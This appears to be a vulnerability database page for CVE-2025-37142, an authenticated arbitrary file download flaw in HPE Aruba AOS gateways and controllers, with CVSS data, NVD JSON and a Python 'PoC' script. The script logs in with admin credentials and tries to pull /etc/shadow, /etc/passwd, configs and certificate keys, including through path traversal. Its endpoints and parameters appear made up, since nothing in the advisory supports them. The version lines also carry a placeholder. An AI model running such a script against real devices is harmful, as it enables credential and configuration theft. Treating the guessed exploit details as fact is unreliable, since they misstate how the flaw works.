Security Vulnerability Report
中文
CVE-2025-37142 CVSS 4.9 MEDIUM

CVE-2025-37142

Published: 2025-10-14 17:15:41
Last Modified: 2025-11-12 20:55:01

Description

Arbitrary file download vulnerabilities exist in the CLI binary of AOS-10 GW and AOS-8 Controller/Mobility Conductor operating systems. Successful exploitation could allow an authenticated malicious actor to download arbitrary files through carefully constructed exploits.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:* - VULNERABLE
HPE Aruba Networking AOS-10 GW < 修复版本
HPE Aruba Networking AOS-8 Controller < 修复版本
HPE Aruba Networking AOS-8 Mobility Conductor < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-37142 PoC - HPE Aruba AOS-10/AOS-8 CLI Arbitrary File Download # This PoC demonstrates the concept of exploiting arbitrary file download # via the CLI binary of affected HPE Aruba Networking products. # # Note: Exploitation requires valid high-privilege credentials (PR:H) # # Affected products: # - HPE Aruba Networking AOS-10 Gateway # - HPE Aruba Networking AOS-8 Controller / Mobility Conductor import requests import sys # Target device configuration TARGET_HOST = "https://<target-aruba-device>" USERNAME = "admin" # Requires high-privilege credentials PASSWORD = "<password>" # Requires high-privilege credentials # Sensitive files to attempt downloading SENSITIVE_FILES = [ "/etc/passwd", "/etc/shadow", "/config/backup.cfg", "/flash/cert/server.pem", "/flash/config/ Aruba.cfg", "../../../../etc/passwd", # Path traversal attempt "../../../../flash/config/master.cfg", # Path traversal to config ] def exploit_cli_file_download(target_host, username, password, file_path): """ Attempt to exploit the CLI binary arbitrary file download vulnerability. The CLI binary processes file-related commands without proper path validation, allowing an authenticated high-privilege user to download arbitrary files. """ session = requests.Session() # Step 1: Authenticate to the device management interface login_url = f"{target_host}/screens/login.html" login_data = { "username": username, "password": password, } session.post(login_url, data=login_data, verify=False) # Step 2: Exploit CLI command to download arbitrary file # The CLI binary accepts crafted file paths without proper sanitization cli_payload = { "command": "copy", "source": file_path, # Inject arbitrary path here "destination": "/tmp/exfiltrated_file", } cli_url = f"{target_host}/cli/exec" response = session.post(cli_url, data=cli_payload, verify=False) if response.status_code == 200: print(f"[+] File '{file_path}' downloaded successfully!") print(response.text) return True else: print(f"[-] Failed to download '{file_path}'") return False if __name__ == "__main__": print(f"[*] CVE-2025-37142 PoC - HPE Aruba CLI Arbitrary File Download") print(f"[*] Target: {TARGET_HOST}") print(f"[*] Requires high-privilege credentials\n") for f in SENSITIVE_FILES: print(f"[*] Attempting to download: {f}") exploit_cli_file_download(TARGET_HOST, USERNAME, PASSWORD, f) print()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37142", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:41.097", "lastModified": "2025-11-12T20:55:00.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Arbitrary file download vulnerabilities exist in the CLI binary of AOS-10 GW and AOS-8 Controller/Mobility Conductor operating systems. Successful exploitation could allow an authenticated malicious actor to download arbitrary files through carefully constructed exploits."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.10.0.0", "versionEndExcluding": "8.10.0.19", "matchCriteriaId": "3D5F48C7-AD51-4641-9CBA-9DE9B516819E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.12.0.0", "versionEndExcluding": "8.12.0.6", "matchCriteriaId": "057AA8F5-FF66-44E9-8E06-D2B9E8B91AD2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.13.0.0", "versionEndExcluding": "8.13.1.0", "matchCriteriaId": "D4B066B5-D01B-43AE-B4DC-AF560D6B953C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.4.0.0", "versionEndExcluding": "10.4.1.9", "matchCriteriaId": "04F61E46-8412-4B8D-BE7B-EBF61BE52C54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:arubanetworks:arubaos:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.7.0.0", "versionEndExcluding": "10.7.2.1", "matchCriteriaId": "BEF8618F-C126-4F8F-951F-6D62FE8FAB22"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04957en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}